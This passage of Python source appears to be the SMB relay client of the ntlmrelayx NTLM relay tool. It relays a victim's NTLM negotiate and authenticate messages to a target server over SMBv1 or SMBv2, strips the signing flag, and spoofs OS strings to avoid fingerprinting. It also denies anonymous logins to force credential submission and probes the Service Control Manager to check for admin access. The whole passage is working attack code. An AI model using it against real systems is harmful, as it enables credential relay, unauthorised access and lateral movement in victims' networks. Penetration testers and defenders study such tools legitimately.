        if self.session is not None:
            self.session.close()
            self.session = None

    def initConnection(self):
        self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort, manualNegotiate=True)
                                     #,preferredDialect=SMB_DIALECT)
        if self.serverConfig.smb2support is True:
            data = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00'
        else:
            data = '\x02NT LM 0.12\x00'

        if self.extendedSecurity is True:
            flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
        else:
            flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
        try:
            packet = self.session.negotiateSessionWildcard(None, self.targetHost, self.targetHost, self.targetPort, 60, self.extendedSecurity,
                                                  flags1=SMB.FLAGS1_PATHCASELESS | SMB.FLAGS1_CANONICALIZED_PATHS,
                             flags2=flags2, data=data)
        except socketerror as e:
            if 'reset by peer' in str(e):
                if not self.serverConfig.smb2support:
                    LOG.error('SMBCLient error: Connection was reset. Possibly the target has SMBv1 disabled. Try running ntlmrelayx with -smb2support')
                else:
                    LOG.error('SMBCLient error: Connection was reset')
            else:
                LOG.error('SMBCLient error: %s' % str(e))
            return False
        if packet[0:1] == b'\xfe':
            smbClient = MYSMB3(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet)
        else:
            # Answer is SMB packet, sticking to SMBv1
            smbClient = MYSMB(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet)

        self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort,
                                     existingConnection=smbClient, manualNegotiate=True)

        return True

    def setUid(self,uid):
        self._uid = uid

    def sendNegotiate(self, negotiateMessage):
        negotiate = NTLMAuthNegotiate()
        negotiate.fromString(negotiateMessage)
        #Remove the signing flag
        negotiate['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN

        challenge = NTLMAuthChallenge()
        if self.session.getDialect() == SMB_DIALECT:
            challenge.fromString(self.sendNegotiatev1(negotiateMessage))
        else:
            challenge.fromString(self.sendNegotiatev2(negotiateMessage))

        # Store the Challenge in our session data dict. It will be used by the SMB Proxy
        self.sessionData['CHALLENGE_MESSAGE'] = challenge

        return challenge

    def sendNegotiatev2(self, negotiateMessage):
        v2client = self.session.getSMBServer()

        sessionSetup = SMB2SessionSetup()
        sessionSetup['Flags'] = 0

        # Let's build a NegTokenInit with the NTLMSSP
        blob = SPNEGO_NegTokenInit()

        # NTLMSSP
        blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
        blob['MechToken'] = negotiateMessage

        sessionSetup['SecurityBufferLength'] = len(blob)
        sessionSetup['Buffer'] = blob.getData()

        packet = v2client.SMB_PACKET()
        packet['Command'] = SMB2_SESSION_SETUP
        packet['Data'] = sessionSetup

        packetID = v2client.sendSMB(packet)
        ans = v2client.recvSMB(packetID)
        if ans.isValidAnswer(STATUS_MORE_PROCESSING_REQUIRED):
            v2client._Session['SessionID'] = ans['SessionID']
            sessionSetupResponse = SMB2SessionSetup_Response(ans['Data'])
            respToken = SPNEGO_NegTokenResp(sessionSetupResponse['Buffer'])
            return respToken['ResponseToken']

        return False

    def sendNegotiatev1(self, negotiateMessage):
        v1client = self.session.getSMBServer()

        smb = NewSMBPacket()
        smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
        smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY
        # Are we required to sign SMB? If so we do it, if not we skip it
        if v1client.is_signing_required():
           smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE

        # Just in case, clear the Unicode Flag
        flags2 = v1client.get_flags ()[1]
        v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_UNICODE))

        sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
        sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
        sessionSetup['Data']       = SMBSessionSetupAndX_Extended_Data()

        sessionSetup['Parameters']['MaxBufferSize']        = 65535
        sessionSetup['Parameters']['MaxMpxCount']          = 2
        sessionSetup['Parameters']['VcNumber']             = 1
        sessionSetup['Parameters']['SessionKey']           = 0
        sessionSetup['Parameters']['Capabilities']         = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE

        # Let's build a NegTokenInit with the NTLMSSP
        # TODO: In the future we should be able to choose different providers

        blob = SPNEGO_NegTokenInit()

        # NTLMSSP
        blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
        blob['MechToken'] = negotiateMessage

        sessionSetup['Parameters']['SecurityBlobLength']  = len(blob)
        sessionSetup['Parameters'].getData()
        sessionSetup['Data']['SecurityBlob']       = blob.getData()

        # Fake Data here, don't want to get us fingerprinted
        sessionSetup['Data']['NativeOS']      = 'Unix'
        sessionSetup['Data']['NativeLanMan']  = 'Samba'

        smb.addCommand(sessionSetup)
        v1client.sendSMB(smb)
        smb = v1client.recvSMB()

        try:
            smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
        except Exception:
            LOG.error("SessionSetup Error!")
            raise
        else:
            # We will need to use this uid field for all future requests/responses
            v1client.set_uid(smb['Uid'])

            # Now we have to extract the blob to continue the auth process
            sessionResponse   = SMBCommand(smb['Data'][0])
            sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(sessionResponse['Parameters'])
            sessionData       = SMBSessionSetupAndX_Extended_Response_Data(flags = smb['Flags2'])
            sessionData['SecurityBlobLength'] = sessionParameters['SecurityBlobLength']
            sessionData.fromString(sessionResponse['Data'])
            respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob'])

            return respToken['ResponseToken']

    def sendStandardSecurityAuth(self, sessionSetupData):
        v1client = self.session.getSMBServer()
        flags2 = v1client.get_flags()[1]
        v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_EXTENDED_SECURITY))
        if sessionSetupData['Account'] != '':
            smb = NewSMBPacket()
            smb['Flags1'] = 8

            sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
            sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters()
            sessionSetup['Data'] = SMBSessionSetupAndX_Data()

            sessionSetup['Parameters']['MaxBuffer'] = 65535
            sessionSetup['Parameters']['MaxMpxCount'] = 2
            sessionSetup['Parameters']['VCNumber'] = os.getpid()
            sessionSetup['Parameters']['SessionKey'] = v1client._dialects_parameters['SessionKey']
            sessionSetup['Parameters']['AnsiPwdLength'] = len(sessionSetupData['AnsiPwd'])
            sessionSetup['Parameters']['UnicodePwdLength'] = len(sessionSetupData['UnicodePwd'])
            sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE

            sessionSetup['Data']['AnsiPwd'] = sessionSetupData['AnsiPwd']
            sessionSetup['Data']['UnicodePwd'] = sessionSetupData['UnicodePwd']
            sessionSetup['Data']['Account'] = sessionSetupData['Account']
            sessionSetup['Data']['PrimaryDomain'] = sessionSetupData['PrimaryDomain']
            sessionSetup['Data']['NativeOS'] = 'Unix'
            sessionSetup['Data']['NativeLanMan'] = 'Samba'

            smb.addCommand(sessionSetup)

            v1client.sendSMB(smb)
            smb = v1client.recvSMB()
            try:
                smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
            except:
                return None, STATUS_LOGON_FAILURE
            else:
                v1client.set_uid(smb['Uid'])
                return smb, STATUS_SUCCESS
        else:
            # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
            clientResponse = None
            errorCode = STATUS_ACCESS_DENIED

        return clientResponse, errorCode

    def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
        if unpack('B', authenticateMessageBlob[:1])[0] != SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
            # We need to wrap the NTLMSSP into SPNEGO
            respToken2 = SPNEGO_NegTokenResp()
            respToken2['ResponseToken'] = authenticateMessageBlob
            authData = respToken2.getData()
        else:
            authData = authenticateMessageBlob

        if self.session.getDialect() == SMB_DIALECT:
            token, errorCode = self.sendAuthv1(authData, serverChallenge)
        else:
            token, errorCode = self.sendAuthv2(authData, serverChallenge)
        return token, errorCode

    def sendAuthv2(self, authenticateMessageBlob, serverChallenge=None):
        v2client = self.session.getSMBServer()

        sessionSetup = SMB2SessionSetup()
        sessionSetup['Flags'] = 0

        packet = v2client.SMB_PACKET()
        packet['Command'] = SMB2_SESSION_SETUP
        packet['Data']    = sessionSetup

        # Reusing the previous structure
        sessionSetup['SecurityBufferLength'] = len(authenticateMessageBlob)
        sessionSetup['Buffer'] = authenticateMessageBlob

        packetID = v2client.sendSMB(packet)
        packet = v2client.recvSMB(packetID)

        return packet, packet['Status']

    def sendAuthv1(self, authenticateMessageBlob, serverChallenge=None):
        v1client = self.session.getSMBServer()

        smb = NewSMBPacket()
        smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
        smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY
        # Are we required to sign SMB? If so we do it, if not we skip it
        if v1client.is_signing_required():
           smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
        smb['Uid'] = v1client.get_uid()

        sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
        sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
        sessionSetup['Data']       = SMBSessionSetupAndX_Extended_Data()

        sessionSetup['Parameters']['MaxBufferSize']        = 65535
        sessionSetup['Parameters']['MaxMpxCount']          = 2
        sessionSetup['Parameters']['VcNumber']             = 1
        sessionSetup['Parameters']['SessionKey']           = 0
        sessionSetup['Parameters']['Capabilities']         = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE

        # Fake Data here, don't want to get us fingerprinted
        sessionSetup['Data']['NativeOS']      = 'Unix'
        sessionSetup['Data']['NativeLanMan']  = 'Samba'

        sessionSetup['Parameters']['SecurityBlobLength'] = len(authenticateMessageBlob)
        sessionSetup['Data']['SecurityBlob'] = authenticateMessageBlob
        smb.addCommand(sessionSetup)
        v1client.sendSMB(smb)

        smb = v1client.recvSMB()

        errorCode = smb['ErrorCode'] << 16
        errorCode += smb['_reserved'] << 8
        errorCode += smb['ErrorClass']

        return smb, errorCode

    def getStandardSecurityChallenge(self):
        if self.session.getDialect() == SMB_DIALECT:
            return self.session.getSMBServer().get_encryption_key()
        else:
            return None

    def isAdmin(self):
        rpctransport = SMBTransport(self.session.getRemoteHost(), 445, r'\svcctl', smb_connection=self.session)
        dce = rpctransport.get_dce_rpc()
        try:
            dce.connect()
        except:
            pass
        else:
            dce.bind(scmr.MSRPC_UUID_SCMR)
            try:
                # 0xF003F - SC_MANAGER_ALL_ACCESS
                # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
                ans = scmr.hROpenSCManagerW(dce,'{}\x00'.format(self.target.hostname),'ServicesActive\x00', 0xF003F)
                return "TRUE"
            except scmr.DCERPCException as e:
                pass
        return "FALSE"